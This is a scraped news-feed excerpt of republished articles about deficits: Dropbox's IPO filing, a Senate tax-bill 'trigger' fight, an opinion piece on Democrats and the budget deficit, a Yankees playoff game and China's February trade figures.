Another factor that no producer can control is demand. For now, demand forecasts are overwhelmingly rosy, but some observers are wary of too much optimism. Higher prices themselves are a negative factor for demand growth.

So, Saudi Arabia is once again ready to do whatever it takes to push prices up. But in an increasingly complex oil market, it remains to be seen if the oil kingdom can achieve its lofty goals.

This article was originally published on Oilprice.com

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]]> https://briefnews.eu/saudis-ready-to-swing-oil-market-into-deficit/feed/ 0 Dropbox’s IPO filing reveals 500M users but a $1 billion deficit https://briefnews.eu/dropboxs-ipo-filing-reveals-500m-users-but-a-1-billion-deficit/ https://briefnews.eu/dropboxs-ipo-filing-reveals-500m-users-but-a-1-billion-deficit/#respond Fri, 23 Feb 2018 21:11:21 +0000 http://briefnews.eu/dropboxs-ipo-filing-reveals-500m-users-but-a-1-billion-deficit/

In a move reminiscent of Snap’s IPO journey, Bloomberg sources claimed last month that Dropbox had quietly filed to become a public company. Suspicious hires last year had tipped their hand, and we waited to see what would happen for a company valued over $ 10 billion a few years ago. Today, Dropbox’s IPO filing surfaced, and while we still don’t know what day its stock will hit the market, their documentation pulls back a bit of the veil on the company’s situation as it gears up to go public.

Per the filing itself, Dropbox has over 500 million registered users but only 11 million of those are paying subscribers. Some might sign up multiple times for multiple accounts, so the number of unique users is certainly lower. Ultimately, the company admits in the document, “a majority of our registered users may never convert to a paid subscription to our platform.”

Converting existing users to the paid tier is at the top of the company’s list, but the filing admits that their revenue growth rate has declined and could keep slowing. The filing noted the company ended 2017 with a $ 1 billion deficit, though its rate of net losses had decreased from nearly $ 326 million in 2015 to almost $ 112 million in 2017. As the filing summarizes: “We have a history of net losses, we anticipate increasing expenses in the future, and we may not be able to achieve or maintain profitability.”

While any IPO points out risk factors and worst-case scenarios to hedge expectations, it’s interesting that the company is going public but not necessarily in a position of financial success. And hopefully for Dropbox, it won’t follow Snap’s example, which had an IPO a year ago that was speculated to value the company $ 25 billion, but suffered a downslide of low earnings it’s only now recovering from.

Via: CNBC

Source: SEC

]]> https://briefnews.eu/dropboxs-ipo-filing-reveals-500m-users-but-a-1-billion-deficit/feed/ 0 A Conservative Uprising Confronts GOP Deficit Hawks https://briefnews.eu/a-conservative-uprising-confronts-gop-deficit-hawks/ https://briefnews.eu/a-conservative-uprising-confronts-gop-deficit-hawks/#respond Thu, 30 Nov 2017 02:20:48 +0000 http://briefnews.eu/a-conservative-uprising-confronts-gop-deficit-hawks/ Updated on November 29 at 6:13 p.m. ET

The fate of the Republican tax overhaul is coming down to a confrontation between the Senate’s few remaining deficit hawks and the GOP’s most ardent tax-slashers.

It’s a fight that has been building for months and now centers on a proposal from Senators Bob Corker of Tennessee and James Lankford of Oklahoma for the Republican tax bill to include a provision triggering tax increases if the cuts in the rate for corporations don’t produce promised economic growth. Corker, who has vowed not to support a bill that he viewed as adding to the deficit, provided a decisive vote to advance the $ 1.4 trillion tax cut out of the Budget Committee on Tuesday only after securing what he said was a “verbal agreement” from GOP leaders that the final legislation would include a fiscal trigger. On Wednesday, all 52 Senate Republicans voted to begin floor debate on the tax bill, which the party hopes to pass by the end of the week. But important changes, including the expected addition of a trigger provision, are still to come, and the GOP’s show of unity in Wednesday’s procedural vote does not necessarily mean final passage will go as smoothly.

With the bill gaining steam, conservative lawmakers and outside activists are now mobilizing in opposition to a fiscal trigger. They warn it’ll prove counterproductive to the GOP’s goal of unleashing business investment and could saddle the nation with an automatic tax hike if the economy takes an unexpected dip. “It’s a bad idea,” said Tim Phillips, the president of Americans for Prosperity, the advocacy group funded by the Koch brothers. “The last thing you’d want to do if there were some kind of economic downturn would be to raise taxes. It also leads to uncertainty for businesses, because you don’t know what your tax rates are going to be from year to year.” In an interview, Andy Roth of the conservative Club for Growth called the proposal “a dumb idea,” and Grover Norquist, the veteran anti-tax activist, slammed it as “a self-fulfilling threat to kill jobs.”

In a sign of just how sensitive the topic has become for Republicans, neither Corker nor Lankford has publicly detailed how their proposal would work—despite the fact that Senate leaders plan to amend and pass their far-reaching bill as early as Thursday. And while conservatives are trying to ensure a trigger stays out of the measure, they aren’t yet threatening to abandon legislation Republicans desperately want to enact. During a meeting of House Republicans on Wednesday morning, according to a senior GOP aide, party leaders urged rank-and-file members not to criticize the emerging Senate bill until after it passes the upper chamber. In exchange, House members were assured they’d have the opportunity to fight for changes in a conference committee to reconcile the two bodies’ competing bills.

Conservative lawmakers in both chambers are instead pushing for a mechanism that would trigger automatic spending cuts rather than tax increases, although that might be even harder to pass through the Senate. And the Senate bill would already set off cuts to Medicare that Congress may quickly try to undo.

Trying to head off a conservative revolt, Lankford has been talking for weeks about a possible trigger with his former colleagues in the House, where he served for four years before moving to the Senate. The Senate plan, like a House bill approved earlier this month, would reduce the corporate tax rate to 20 percent from 35 percent. Under one proposal floated by Lankford, that rate would rise to 21 percent after five years if the economy doesn’t grow at a fast enough clip.

Some GOP senators are uneasy with even that modest change. “Personally, I don’t support triggers,” Nevada’s Dean Heller said at a Wednesday press conference. Senator Thom Tillis of North Carolina argued that the mere threat of a future tax increase would discourage businesses from taking advantage of the lower taxes to begin with. “The perverse consequence of having a trigger in here could potentially be that we won’t achieve the economic gains that we would otherwise have if the trigger were not,” he said.

For now, the trigger debate isn’t a deal breaker for many Republican senators, who don’t want to jeopardize the broader tax bill over a provision that might not survive the legislative process. Republicans can’t lose more than two of their members and pass the bill. Corker and Lankford have each drawn a hard line on the issue to this point, and Senators Jeff Flake and John McCain of Arizona have voiced similar concerns about the bill. “I don’t want to see this bill destroyed because of a pursuit for perfection,” Senator David Perdue of Georgia said.

The trigger mechanism could run afoul of the Senate’s budget rules, analysts have said, causing the provision to be stripped out before a final vote. Or it could be watered down in negotiations with the House to a point where conservatives don’t see it as an actual threat to their tax cuts. The decision would then swing back to the deficit hawks, who would face tremendous pressure not to topple a landmark Republican bill at the very last moment.

Corker and Lankford have received little support from advocates of fiscal restraint outside of Congress—not to mention Democrats, who already see their proposal as one more “gimmick” in a bill loaded with them. To comply with Senate budget limits, Republicans set most of the tax cuts for individuals to expire even as they promised to extend them later on. “Instead of designing a backstop in case a policy fails, lawmakers should just pass tax legislation that’s fiscally responsible and permanent in the first place,” said Michael Peterson, president of the Peter Peterson Foundation. “They can do that by using reasonable assumptions for economic growth and being realistic about the effects on the budget.”

Given the GOP’s slim Senate majority, Corker, Lankford, Flake, and McCain could use their votes as leverage to demand a trigger in the final bill. But unless and until they do, conservatives have the edge.

Business | The Atlantic

]]> https://briefnews.eu/a-conservative-uprising-confronts-gop-deficit-hawks/feed/ 0 Democrats need to stop whining about the deficit https://briefnews.eu/democrats-need-to-stop-whining-about-the-deficit/ https://briefnews.eu/democrats-need-to-stop-whining-about-the-deficit/#respond Sun, 05 Nov 2017 04:31:06 +0000 http://briefnews.eu/democrats-need-to-stop-whining-about-the-deficit/ RTS1E3PNKevin Lamarque/Reuters

  • Democrats are opposing Republican tax cuts partly on the basis that they will expand the US budget deficit.
  • That’s the wrong argument to make — not just now but in any low-inflation environment.
  • The right argument against the plan is that it’s skewed toward the wealthy and includes changes that won’t benefit the economy.
  • “There are better ways to invest in our economy,” says Stephanie Kelton, a former chief economist for the Senate Budget Committee’s Democratic staff. “Investing in our nation’s infrastructure, education, and R&D would do more to boost future productivity than trickle-down tax cuts for the rich.”

There are a few lines you can take to argue against tax cuts, including the idea that they benefit mostly huge companies and rich Americans.

Here’s the wrong one: In the weeks leading up to Thursday’s reveal of the Republican tax plan, Democrats have been harping on about higher budget deficits and a resulting “entitlement crisis” as a key justification for opposing President Donald Trump’s tax plan.

It’s enough that Ylan Mui of CNBC has taken to calling Democrats the “new deficit hawks.”

For the Democrats to take this line against the tax cuts is a mistake for three reasons. First, it’s hard for voters to understand, even when it’s dumbed down into the old trope of “you wouldn’t run your household like this.”

Second, it’s bad economics. Unlike households, governments can run big deficits, and they should be doing so especially when inflation is as low as it is today. Doing so can help spur economic growth, and the Democrats know this because it was a key lesson of the post-financial-crisis recovery.

Economists can and should argue over the best uses of that deficit — spending that boosts the economy versus tax cuts that line the pockets of the rich — but that’s a tangential argument for those not currently in power.

Third, there are much better objections about the harm this tax plan could cause — such as leading to greater inequality and more struggles for the middle class — or the false promises (such as that it will lead to higher wages) it’s being pitched with.

“The deficit is an abstraction that is pretty much meaningless to anyone other than an economist or budget wonk,” says Dean Baker, an economist who is the codirector of the liberal Center for Economic and Policy Research in Washington.

“To my view, the issue is that the Republicans are looking to take money from programs people care about and need, like Medicare and Medicaid, and use it to give tax breaks to rich people. This is concrete and people can understand it.

“The deficit is not. And of course as an economic matter, it is not clear that a larger deficit would be a bad thing — although I do have to say, we are likely getting close to full employment, so we probably don’t want too much larger of a deficit.”

‘It would explode’ the deficit

Here’s the kind of thing Democrats have been saying.

“The longer we wait to address the debt in a serious manner, the more the safety net frays, and the harder this crisis will be to address,” Sen. Ron Wyden of Oregon said last month.

Chuck Schumer, the Senate minority leader, wrote in a recent op-ed article that the proposal “helps the rich at the expense of the middle class, it would explode the deficit, and it hasn’t gone through a thorough, bipartisan process.”

At least he got two out of three right.

Stephanie Kelton, a former chief economist for the Senate Budget Committee’s Democratic staff, laid out the case against these arguments nicely in a recent New York Times op-ed article.

“Are the proposed tax cuts a huge giveaway to the rich? Most definitely,” wrote Kelton, a professor of public policy and economics at Stony Brook University. “Will they, as advertised, create a booming economy with benefits that trickle down to everyone else? I don’t think so. Trump’s plan will widen the country’s already dangerous wealth and income gaps, and because the gains go mostly to those at the very top, the tax cuts won’t do much to promote broad-based consumer spending or overall job growth.”

That, Kelton says, should be enough to reject the plan.

Donald Trump signs an executive order in the Oval OfficeGetty Images

“But it would be unwise to oppose tax cuts, or any other federal legislation, simply because they add to the deficit,” she warns.

Kelton and other economists of wide-ranging political stripes argue that the biggest mistake politicians make is comparing government spending and budgets to those of households. The analogy appears sound, but it’s really apples and oranges. Unlike families, who may lack sufficient funds to pay their bills, governments that control their own currencies can always print money to meet their obligations.

Therefore a default is technically impossible. The only risk is inflation, if excessive bond issuance leads to rising prices. But the US economy has been suffering chronically from the opposite problem — and inflation rate that has consistently fallen short of the Federal Reserve’s 2% target for five years, pointing to an economy that is still operating below potential and reflecting stagnant wage growth for much of the population.

Social Security can never run out of money — really

I asked Kelton why, given her counterintuitive argument that deficits don’t really matter, Americans should take her word for it. Her reply: Don’t. Instead, listen to what Alan Greenspan, the prominent Republican former Federal Reserve chairman who is a purported deficit hawk, had to say on the matter.

In March 2005, he was pressed by a young congressman named Paul Ryan about the need for privatizing Social Security because of the prospect of a looming “entitlements crisis.” Greenspan replied rather bitingly that there was no such thing or even a remote possibility.

“I wouldn’t say that the pay-as-you-go benefits are insecure in the sense that there’s nothing to prevent the federal government to create as much money as it wants and pays it to somebody,” Greenspan told an incredulous Ryan.

“The question is how do you set up a system that assures that the real assets are created which those benefits are employed to purchase. So it’s not a question of security — it’s a question of the structure of the financial system.”

That’s what Democrats should be saying, rather than regurgitating the old Republican rouse — which even the GOP is willing to abandon when it’s convenient — about a looming government debt crisis that never comes.

Republican talking points

“Instead of repeating talking points that reinforce the idea that Social Security is somehow financially unsustainable, Democrats should play Greenspan’s remarks on a loop. They should call attention to what Greenspan said — under oath — about the program’s long-term sustainability,” Kelton said.

“Instead of accepting the premise that Social Security is in trouble, Democrats should accept Greenspan’s challenge — put forward an agenda that will do more to promote future growth than anything the Republicans are offering.”

The financial crisis was instructive on this count. Many critics of both the federal government’s fiscal stimulus and the Federal Reserve’s bond purchases worried that the country was getting so deep into debt that one of two things was bound to happen: a crisis in the Treasury market or a bout of runaway inflation. Nine years into the recovery, Treasury yields remain near historic lows and inflation is not only contained but remains worryingly low.

That last point is key: It’s not that folks like Kelton and Baker believe there is no risk to government spending. They simply argue that the only risks are the misallocation of resources and inflation — not some amorphous “debt crisis” or default of the sort some politicians and market analysts have shouted about.

Unlike Greece, which actually did default on its debt because of a lack of control over its own currency, the US could default only by choice. Trump flirted with that choice once as a candidate — but quickly backed away from the threat after he realized the catastrophic market and economic consequences such a debacle would have.

Listen to the Oracle

In August 2011, after the US’s credit rating was downgraded for the fist time following a prolonged impasse over the US debt ceiling, Greenspan was asked during a “Meet the Press” interview about the issue of “unfunded liabilities” and “entitlements.”

His response again spoke volumes: “The United States can pay any debt it has because it can always print money to do that, so there is zero probability of default.”

Alan GreenspanREUTERS

So what should Democrats be focused on if not deficits? On that count, Trump actually has the right idea: They should be focused on boosting economic growth. Unlike Trump, however, Democrats need to be concerned about other matters like distribution, wage growth, and the quality of social services necessary to underpin a sustainable economy. That includes everything from the wider availability of high-quality education and health, childcare, elderly care, and other key services that are neglected by a government more focused on external conflict than domestic strife.

“What if we choose policies that will help us to build a more productive economy? If we were having the right debate, we would be laser-focused on this challenge,” Kelton said.

“I doubt very much that Trump’s tax cuts — which are heavily skewed in favor of the very rich — would come out on top. There are better ways to invest in our economy. Investing in our nation’s infrastructure, education, and R&D would do more to boost future productivity than trickle-down tax cuts for the rich.”

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]]> https://briefnews.eu/democrats-need-to-stop-whining-about-the-deficit/feed/ 0 Judge's bat comes to life as Yankees slash ALCS deficit to 2-1 https://briefnews.eu/judges-bat-comes-to-life-as-yankees-slash-alcs-deficit-to-2-1/ https://briefnews.eu/judges-bat-comes-to-life-as-yankees-slash-alcs-deficit-to-2-1/#respond Tue, 17 Oct 2017 03:56:12 +0000 http://briefnews.eu/judges-bat-comes-to-life-as-yankees-slash-alcs-deficit-to-2-1/

Aaron Judge hit a three-run homer and a made pair of sparkling catches, leading CC Sabathia and the Yankees over the Houston Astros 8-1 Monday night and cutting New York’s deficit to 2-1 in the best-of-seven AL Championship Series.

Sabathia allowed three hits over six scoreless innings for his first post-season win in five years. Todd Frazier hit a go-ahead, three-run homer for the Yankees, who stopped a seven-game ALCS losing streak dating to Sabathia’s victory over Texas in 2010.

Sonny Gray starts Game 4 Wednesday on 11 days’ rest, likely against Brad Peacock or Lance McCullers Jr.

Back in the Bronx after a pair of 2-1 losses in Houston, the Yankees led 8-0 after four innings. Houston scored on a bases-loaded walk in the ninth before post-season star Jose Altuve grounded into a game-ending double play with the bases loaded.

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]]> https://briefnews.eu/judges-bat-comes-to-life-as-yankees-slash-alcs-deficit-to-2-1/feed/ 0 China just posted a shock trade deficit as Lunar New Year distortions wreak havoc on the data https://briefnews.eu/china-just-posted-a-shock-trade-deficit-as-lunar-new-year-distortions-wreak-havoc-on-the-data/ https://briefnews.eu/china-just-posted-a-shock-trade-deficit-as-lunar-new-year-distortions-wreak-havoc-on-the-data/#respond Wed, 08 Mar 2017 06:19:08 +0000 http://briefnews.eu/china-just-posted-a-shock-trade-deficit-as-lunar-new-year-distortions-wreak-havoc-on-the-data/ ChinaREUTERS/Stringer

China’s February trade report has stunned financial markets.

Imports surged while export growth slowed, leading to a shock trade deficit being recorded.

According to China’s General Administration of Customs, yuan-denominated imports jumped by 44.7% from the levels of a year earlier, easily surpassing the 25.2% growth of January and forecasts for a smaller increase of 23.1%.

Truly enormous, and no doubt impacted by booming commodity prices and a weaker yuan over the past year.

Distortions created by the timing of the Lunar New year — often a feature in the trade figures and other Chinese economic data at this time of year — almost certainly were another factor.

Indeed, adding credence to that view, while imports surged, export growth slowed sharply over the same period.

The Customs bureau said that they grew by 4.2%, well below the 15.9% pace of January and expectations for a smaller rise of 14.6%.

As a result of this highly-divergent performance, the nation’s trade balance swung back to deficit, coming in at CNY 60.36 billion.

That was just a smidge away from the CNY 172.5 billion surplus that had been expected.

Chinese Customs are due to release USD-denominated figures shortly.

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]]> https://briefnews.eu/china-just-posted-a-shock-trade-deficit-as-lunar-new-year-distortions-wreak-havoc-on-the-data/feed/ 0